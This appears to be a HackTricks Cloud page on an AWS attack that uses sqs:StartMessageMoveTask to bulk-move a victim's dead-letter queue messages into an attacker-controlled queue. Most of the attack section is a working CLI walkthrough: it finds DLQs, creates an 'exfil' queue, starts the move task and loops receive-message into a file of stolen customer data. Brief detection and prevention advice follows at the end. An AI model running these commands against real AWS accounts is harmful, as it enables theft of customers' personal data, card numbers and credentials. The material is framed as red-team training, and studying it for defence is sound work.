AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Description
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using sqs:StartMessageMoveTask
. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
What is a Dead-Letter Queue (DLQ)?
A Dead-Letter Queue is a special SQS queue where messages are automatically sent when they fail to be processed successfully by the main application. These failed messages often contain:
- Sensitive application data that couldn't be processed
- Error details and debugging information
- Personal Identifiable Information (PII)
- API tokens, credentials, or other secrets
- Business-critical transaction data
DLQs act as a "graveyard" for failed messages, making them valuable targets since they accumulate sensitive data over time that applications couldn't handle properly.
Attack Scenario
Real-world example:
- E-commerce application processes customer orders through SQS
- Some orders fail (payment issues, inventory problems, etc.) and get moved to a DLQ
- DLQ accumulates weeks/months of failed orders containing customer data:
{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
- Attacker gains access to AWS credentials with SQS permissions
- Attacker discovers the DLQ contains thousands of failed orders with sensitive data
- Instead of trying to access individual messages (slow and obvious), attacker uses
StartMessageMoveTask
to bulk transfer ALL messages to their own queue - Attacker extracts all historical sensitive data in one operation
Requirements
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
- IAM permissions (run as the compromised victim principal):
- On DLQ (source):
sqs:StartMessageMoveTask
,sqs:GetQueueAttributes
. - On destination queue: permission to deliver messages (e.g., queue policy allowing
sqs:SendMessage
from the victim principal). For same-account destinations this is typically allowed by default. - If SSE-KMS is enabled: on source CMK
kms:Decrypt
, and on destination CMKkms:GenerateDataKey
,kms:Encrypt
.
- On DLQ (source):
Impact
Potential Impact: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application payloads) at high speed using native SQS APIs. Works cross-account if the destination queue policy allows SendMessage
from the victim principal.
How to Abuse
- Identify the victim DLQ ARN and ensure it is actually referenced as a DLQ by some queue (any queue is fine).
- Create or choose an attacker-controlled destination queue and get its ARN.
- Start a message move task from the victim DLQ to your destination queue.
- Monitor progress or cancel if needed.
CLI Example: Exfiltrating Customer Data from E-commerce DLQ
Scenario: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
- Discover and examine the victim DLQ
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
- Create attacker-controlled destination queue
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
- Execute the bulk message theft
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
- Harvest the stolen sensitive data
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
Cross-account notes
- The destination queue must have a resource policy allowing the victim principal to
sqs:SendMessage
(and, if used, KMS grants/permissions).
Why This Attack is Effective
- Legitimate AWS Feature: Uses built-in AWS functionality, making it hard to detect as malicious
- Bulk Operation: Transfers thousands of messages quickly instead of slow individual access
- Historical Data: DLQs accumulate sensitive data over weeks/months
- Under the Radar: Many organizations don't monitor DLQ access closely
- Cross-Account Capable: Can exfiltrate to attacker's own AWS account if permissions allow
Detection and Prevention
Detection
Monitor CloudTrail for suspicious StartMessageMoveTask
API calls:
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
Prevention
- Least Privilege: Restrict
sqs:StartMessageMoveTask
permissions to only necessary roles - Monitor DLQs: Set up CloudWatch alarms for unusual DLQ activity
- Cross-Account Policies: Carefully review SQS queue policies allowing cross-account access
- Encrypt DLQs: Use SSE-KMS with restricted key policies
- Regular Cleanup: Don't let sensitive data accumulate in DLQs indefinitely
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.